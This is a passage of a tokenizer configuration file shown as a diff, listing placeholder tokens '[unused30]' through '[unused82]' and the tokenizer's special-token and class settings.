| 503 |
+
"rstrip": false,
|
| 504 |
+
"single_word": false,
|
| 505 |
+
"special": false
|
| 506 |
+
},
|
| 507 |
+
"50315": {
|
| 508 |
+
"content": "[unused30]",
|
| 509 |
+
"lstrip": false,
|
| 510 |
+
"normalized": true,
|
| 511 |
+
"rstrip": false,
|
| 512 |
+
"single_word": false,
|
| 513 |
+
"special": false
|
| 514 |
+
},
|
| 515 |
+
"50316": {
|
| 516 |
+
"content": "[unused31]",
|
| 517 |
+
"lstrip": false,
|
| 518 |
+
"normalized": true,
|
| 519 |
+
"rstrip": false,
|
| 520 |
+
"single_word": false,
|
| 521 |
+
"special": false
|
| 522 |
+
},
|
| 523 |
+
"50317": {
|
| 524 |
+
"content": "[unused32]",
|
| 525 |
+
"lstrip": false,
|
| 526 |
+
"normalized": true,
|
| 527 |
+
"rstrip": false,
|
| 528 |
+
"single_word": false,
|
| 529 |
+
"special": false
|
| 530 |
+
},
|
| 531 |
+
"50318": {
|
| 532 |
+
"content": "[unused33]",
|
| 533 |
+
"lstrip": false,
|
| 534 |
+
"normalized": true,
|
| 535 |
+
"rstrip": false,
|
| 536 |
+
"single_word": false,
|
| 537 |
+
"special": false
|
| 538 |
+
},
|
| 539 |
+
"50319": {
|
| 540 |
+
"content": "[unused34]",
|
| 541 |
+
"lstrip": false,
|
| 542 |
+
"normalized": true,
|
| 543 |
+
"rstrip": false,
|
| 544 |
+
"single_word": false,
|
| 545 |
+
"special": false
|
| 546 |
+
},
|
| 547 |
+
"50320": {
|
| 548 |
+
"content": "[unused35]",
|
| 549 |
+
"lstrip": false,
|
| 550 |
+
"normalized": true,
|
| 551 |
+
"rstrip": false,
|
| 552 |
+
"single_word": false,
|
| 553 |
+
"special": false
|
| 554 |
+
},
|
| 555 |
+
"50321": {
|
| 556 |
+
"content": "[unused36]",
|
| 557 |
+
"lstrip": false,
|
| 558 |
+
"normalized": true,
|
| 559 |
+
"rstrip": false,
|
| 560 |
+
"single_word": false,
|
| 561 |
+
"special": false
|
| 562 |
+
},
|
| 563 |
+
"50322": {
|
| 564 |
+
"content": "[unused37]",
|
| 565 |
+
"lstrip": false,
|
| 566 |
+
"normalized": true,
|
| 567 |
+
"rstrip": false,
|
| 568 |
+
"single_word": false,
|
| 569 |
+
"special": false
|
| 570 |
+
},
|
| 571 |
+
"50323": {
|
| 572 |
+
"content": "[unused38]",
|
| 573 |
+
"lstrip": false,
|
| 574 |
+
"normalized": true,
|
| 575 |
+
"rstrip": false,
|
| 576 |
+
"single_word": false,
|
| 577 |
+
"special": false
|
| 578 |
+
},
|
| 579 |
+
"50324": {
|
| 580 |
+
"content": "[unused39]",
|
| 581 |
+
"lstrip": false,
|
| 582 |
+
"normalized": true,
|
| 583 |
+
"rstrip": false,
|
| 584 |
+
"single_word": false,
|
| 585 |
+
"special": false
|
| 586 |
+
},
|
| 587 |
+
"50325": {
|
| 588 |
+
"content": "[unused40]",
|
| 589 |
+
"lstrip": false,
|
| 590 |
+
"normalized": true,
|
| 591 |
+
"rstrip": false,
|
| 592 |
+
"single_word": false,
|
| 593 |
+
"special": false
|
| 594 |
+
},
|
| 595 |
+
"50326": {
|
| 596 |
+
"content": "[unused41]",
|
| 597 |
+
"lstrip": false,
|
| 598 |
+
"normalized": true,
|
| 599 |
+
"rstrip": false,
|
| 600 |
+
"single_word": false,
|
| 601 |
+
"special": false
|
| 602 |
+
},
|
| 603 |
+
"50327": {
|
| 604 |
+
"content": "[unused42]",
|
| 605 |
+
"lstrip": false,
|
| 606 |
+
"normalized": true,
|
| 607 |
+
"rstrip": false,
|
| 608 |
+
"single_word": false,
|
| 609 |
+
"special": false
|
| 610 |
+
},
|
| 611 |
+
"50328": {
|
| 612 |
+
"content": "[unused43]",
|
| 613 |
+
"lstrip": false,
|
| 614 |
+
"normalized": true,
|
| 615 |
+
"rstrip": false,
|
| 616 |
+
"single_word": false,
|
| 617 |
+
"special": false
|
| 618 |
+
},
|
| 619 |
+
"50329": {
|
| 620 |
+
"content": "[unused44]",
|
| 621 |
+
"lstrip": false,
|
| 622 |
+
"normalized": true,
|
| 623 |
+
"rstrip": false,
|
| 624 |
+
"single_word": false,
|
| 625 |
+
"special": false
|
| 626 |
+
},
|
| 627 |
+
"50330": {
|
| 628 |
+
"content": "[unused45]",
|
| 629 |
+
"lstrip": false,
|
| 630 |
+
"normalized": true,
|
| 631 |
+
"rstrip": false,
|
| 632 |
+
"single_word": false,
|
| 633 |
+
"special": false
|
| 634 |
+
},
|
| 635 |
+
"50331": {
|
| 636 |
+
"content": "[unused46]",
|
| 637 |
+
"lstrip": false,
|
| 638 |
+
"normalized": true,
|
| 639 |
+
"rstrip": false,
|
| 640 |
+
"single_word": false,
|
| 641 |
+
"special": false
|
| 642 |
+
},
|
| 643 |
+
"50332": {
|
| 644 |
+
"content": "[unused47]",
|
| 645 |
+
"lstrip": false,
|
| 646 |
+
"normalized": true,
|
| 647 |
+
"rstrip": false,
|
| 648 |
+
"single_word": false,
|
| 649 |
+
"special": false
|
| 650 |
+
},
|
| 651 |
+
"50333": {
|
| 652 |
+
"content": "[unused48]",
|
| 653 |
+
"lstrip": false,
|
| 654 |
+
"normalized": true,
|
| 655 |
+
"rstrip": false,
|
| 656 |
+
"single_word": false,
|
| 657 |
+
"special": false
|
| 658 |
+
},
|
| 659 |
+
"50334": {
|
| 660 |
+
"content": "[unused49]",
|
| 661 |
+
"lstrip": false,
|
| 662 |
+
"normalized": true,
|
| 663 |
+
"rstrip": false,
|
| 664 |
+
"single_word": false,
|
| 665 |
+
"special": false
|
| 666 |
+
},
|
| 667 |
+
"50335": {
|
| 668 |
+
"content": "[unused50]",
|
| 669 |
+
"lstrip": false,
|
| 670 |
+
"normalized": true,
|
| 671 |
+
"rstrip": false,
|
| 672 |
+
"single_word": false,
|
| 673 |
+
"special": false
|
| 674 |
+
},
|
| 675 |
+
"50336": {
|
| 676 |
+
"content": "[unused51]",
|
| 677 |
+
"lstrip": false,
|
| 678 |
+
"normalized": true,
|
| 679 |
+
"rstrip": false,
|
| 680 |
+
"single_word": false,
|
| 681 |
+
"special": false
|
| 682 |
+
},
|
| 683 |
+
"50337": {
|
| 684 |
+
"content": "[unused52]",
|
| 685 |
+
"lstrip": false,
|
| 686 |
+
"normalized": true,
|
| 687 |
+
"rstrip": false,
|
| 688 |
+
"single_word": false,
|
| 689 |
+
"special": false
|
| 690 |
+
},
|
| 691 |
+
"50338": {
|
| 692 |
+
"content": "[unused53]",
|
| 693 |
+
"lstrip": false,
|
| 694 |
+
"normalized": true,
|
| 695 |
+
"rstrip": false,
|
| 696 |
+
"single_word": false,
|
| 697 |
+
"special": false
|
| 698 |
+
},
|
| 699 |
+
"50339": {
|
| 700 |
+
"content": "[unused54]",
|
| 701 |
+
"lstrip": false,
|
| 702 |
+
"normalized": true,
|
| 703 |
+
"rstrip": false,
|
| 704 |
+
"single_word": false,
|
| 705 |
+
"special": false
|
| 706 |
+
},
|
| 707 |
+
"50340": {
|
| 708 |
+
"content": "[unused55]",
|
| 709 |
+
"lstrip": false,
|
| 710 |
+
"normalized": true,
|
| 711 |
+
"rstrip": false,
|
| 712 |
+
"single_word": false,
|
| 713 |
+
"special": false
|
| 714 |
+
},
|
| 715 |
+
"50341": {
|
| 716 |
+
"content": "[unused56]",
|
| 717 |
+
"lstrip": false,
|
| 718 |
+
"normalized": true,
|
| 719 |
+
"rstrip": false,
|
| 720 |
+
"single_word": false,
|
| 721 |
+
"special": false
|
| 722 |
+
},
|
| 723 |
+
"50342": {
|
| 724 |
+
"content": "[unused57]",
|
| 725 |
+
"lstrip": false,
|
| 726 |
+
"normalized": true,
|
| 727 |
+
"rstrip": false,
|
| 728 |
+
"single_word": false,
|
| 729 |
+
"special": false
|
| 730 |
+
},
|
| 731 |
+
"50343": {
|
| 732 |
+
"content": "[unused58]",
|
| 733 |
+
"lstrip": false,
|
| 734 |
+
"normalized": true,
|
| 735 |
+
"rstrip": false,
|
| 736 |
+
"single_word": false,
|
| 737 |
+
"special": false
|
| 738 |
+
},
|
| 739 |
+
"50344": {
|
| 740 |
+
"content": "[unused59]",
|
| 741 |
+
"lstrip": false,
|
| 742 |
+
"normalized": true,
|
| 743 |
+
"rstrip": false,
|
| 744 |
+
"single_word": false,
|
| 745 |
+
"special": false
|
| 746 |
+
},
|
| 747 |
+
"50345": {
|
| 748 |
+
"content": "[unused60]",
|
| 749 |
+
"lstrip": false,
|
| 750 |
+
"normalized": true,
|
| 751 |
+
"rstrip": false,
|
| 752 |
+
"single_word": false,
|
| 753 |
+
"special": false
|
| 754 |
+
},
|
| 755 |
+
"50346": {
|
| 756 |
+
"content": "[unused61]",
|
| 757 |
+
"lstrip": false,
|
| 758 |
+
"normalized": true,
|
| 759 |
+
"rstrip": false,
|
| 760 |
+
"single_word": false,
|
| 761 |
+
"special": false
|
| 762 |
+
},
|
| 763 |
+
"50347": {
|
| 764 |
+
"content": "[unused62]",
|
| 765 |
+
"lstrip": false,
|
| 766 |
+
"normalized": true,
|
| 767 |
+
"rstrip": false,
|
| 768 |
+
"single_word": false,
|
| 769 |
+
"special": false
|
| 770 |
+
},
|
| 771 |
+
"50348": {
|
| 772 |
+
"content": "[unused63]",
|
| 773 |
+
"lstrip": false,
|
| 774 |
+
"normalized": true,
|
| 775 |
+
"rstrip": false,
|
| 776 |
+
"single_word": false,
|
| 777 |
+
"special": false
|
| 778 |
+
},
|
| 779 |
+
"50349": {
|
| 780 |
+
"content": "[unused64]",
|
| 781 |
+
"lstrip": false,
|
| 782 |
+
"normalized": true,
|
| 783 |
+
"rstrip": false,
|
| 784 |
+
"single_word": false,
|
| 785 |
+
"special": false
|
| 786 |
+
},
|
| 787 |
+
"50350": {
|
| 788 |
+
"content": "[unused65]",
|
| 789 |
+
"lstrip": false,
|
| 790 |
+
"normalized": true,
|
| 791 |
+
"rstrip": false,
|
| 792 |
+
"single_word": false,
|
| 793 |
+
"special": false
|
| 794 |
+
},
|
| 795 |
+
"50351": {
|
| 796 |
+
"content": "[unused66]",
|
| 797 |
+
"lstrip": false,
|
| 798 |
+
"normalized": true,
|
| 799 |
+
"rstrip": false,
|
| 800 |
+
"single_word": false,
|
| 801 |
+
"special": false
|
| 802 |
+
},
|
| 803 |
+
"50352": {
|
| 804 |
+
"content": "[unused67]",
|
| 805 |
+
"lstrip": false,
|
| 806 |
+
"normalized": true,
|
| 807 |
+
"rstrip": false,
|
| 808 |
+
"single_word": false,
|
| 809 |
+
"special": false
|
| 810 |
+
},
|
| 811 |
+
"50353": {
|
| 812 |
+
"content": "[unused68]",
|
| 813 |
+
"lstrip": false,
|
| 814 |
+
"normalized": true,
|
| 815 |
+
"rstrip": false,
|
| 816 |
+
"single_word": false,
|
| 817 |
+
"special": false
|
| 818 |
+
},
|
| 819 |
+
"50354": {
|
| 820 |
+
"content": "[unused69]",
|
| 821 |
+
"lstrip": false,
|
| 822 |
+
"normalized": true,
|
| 823 |
+
"rstrip": false,
|
| 824 |
+
"single_word": false,
|
| 825 |
+
"special": false
|
| 826 |
+
},
|
| 827 |
+
"50355": {
|
| 828 |
+
"content": "[unused70]",
|
| 829 |
+
"lstrip": false,
|
| 830 |
+
"normalized": true,
|
| 831 |
+
"rstrip": false,
|
| 832 |
+
"single_word": false,
|
| 833 |
+
"special": false
|
| 834 |
+
},
|
| 835 |
+
"50356": {
|
| 836 |
+
"content": "[unused71]",
|
| 837 |
+
"lstrip": false,
|
| 838 |
+
"normalized": true,
|
| 839 |
+
"rstrip": false,
|
| 840 |
+
"single_word": false,
|
| 841 |
+
"special": false
|
| 842 |
+
},
|
| 843 |
+
"50357": {
|
| 844 |
+
"content": "[unused72]",
|
| 845 |
+
"lstrip": false,
|
| 846 |
+
"normalized": true,
|
| 847 |
+
"rstrip": false,
|
| 848 |
+
"single_word": false,
|
| 849 |
+
"special": false
|
| 850 |
+
},
|
| 851 |
+
"50358": {
|
| 852 |
+
"content": "[unused73]",
|
| 853 |
+
"lstrip": false,
|
| 854 |
+
"normalized": true,
|
| 855 |
+
"rstrip": false,
|
| 856 |
+
"single_word": false,
|
| 857 |
+
"special": false
|
| 858 |
+
},
|
| 859 |
+
"50359": {
|
| 860 |
+
"content": "[unused74]",
|
| 861 |
+
"lstrip": false,
|
| 862 |
+
"normalized": true,
|
| 863 |
+
"rstrip": false,
|
| 864 |
+
"single_word": false,
|
| 865 |
+
"special": false
|
| 866 |
+
},
|
| 867 |
+
"50360": {
|
| 868 |
+
"content": "[unused75]",
|
| 869 |
+
"lstrip": false,
|
| 870 |
+
"normalized": true,
|
| 871 |
+
"rstrip": false,
|
| 872 |
+
"single_word": false,
|
| 873 |
+
"special": false
|
| 874 |
+
},
|
| 875 |
+
"50361": {
|
| 876 |
+
"content": "[unused76]",
|
| 877 |
+
"lstrip": false,
|
| 878 |
+
"normalized": true,
|
| 879 |
+
"rstrip": false,
|
| 880 |
+
"single_word": false,
|
| 881 |
+
"special": false
|
| 882 |
+
},
|
| 883 |
+
"50362": {
|
| 884 |
+
"content": "[unused77]",
|
| 885 |
+
"lstrip": false,
|
| 886 |
+
"normalized": true,
|
| 887 |
+
"rstrip": false,
|
| 888 |
+
"single_word": false,
|
| 889 |
+
"special": false
|
| 890 |
+
},
|
| 891 |
+
"50363": {
|
| 892 |
+
"content": "[unused78]",
|
| 893 |
+
"lstrip": false,
|
| 894 |
+
"normalized": true,
|
| 895 |
+
"rstrip": false,
|
| 896 |
+
"single_word": false,
|
| 897 |
+
"special": false
|
| 898 |
+
},
|
| 899 |
+
"50364": {
|
| 900 |
+
"content": "[unused79]",
|
| 901 |
+
"lstrip": false,
|
| 902 |
+
"normalized": true,
|
| 903 |
+
"rstrip": false,
|
| 904 |
+
"single_word": false,
|
| 905 |
+
"special": false
|
| 906 |
+
},
|
| 907 |
+
"50365": {
|
| 908 |
+
"content": "[unused80]",
|
| 909 |
+
"lstrip": false,
|
| 910 |
+
"normalized": true,
|
| 911 |
+
"rstrip": false,
|
| 912 |
+
"single_word": false,
|
| 913 |
+
"special": false
|
| 914 |
+
},
|
| 915 |
+
"50366": {
|
| 916 |
+
"content": "[unused81]",
|
| 917 |
+
"lstrip": false,
|
| 918 |
+
"normalized": true,
|
| 919 |
+
"rstrip": false,
|
| 920 |
+
"single_word": false,
|
| 921 |
+
"special": false
|
| 922 |
+
},
|
| 923 |
+
"50367": {
|
| 924 |
+
"content": "[unused82]",
|
| 925 |
+
"lstrip": false,
|
| 926 |
+
"normalized": true,
|
| 927 |
+
"rstrip": false,
|
| 928 |
+
"single_word": false,
|
| 929 |
+
"special": false
|
| 930 |
+
}
|
| 931 |
+
},
|
| 932 |
+
"clean_up_tokenization_spaces": true,
|
| 933 |
+
"cls_token": "[CLS]",
|
| 934 |
+
"extra_special_tokens": {},
|
| 935 |
+
"mask_token": "[MASK]",
|
| 936 |
+
"model_input_names": [
|
| 937 |
+
"input_ids",
|
| 938 |
+
"attention_mask"
|
| 939 |
+
],
|
| 940 |
+
"model_max_length": 1000000000000000019884624838656,
|
| 941 |
+
"pad_token": "[PAD]",
|
| 942 |
+
"sep_token": "[SEP]",
|
| 943 |
+
"tokenizer_class": "PreTrainedTokenizerFast",
|
| 944 |
+
"unk_token": "[UNK]"
|
| 945 |
+
}
|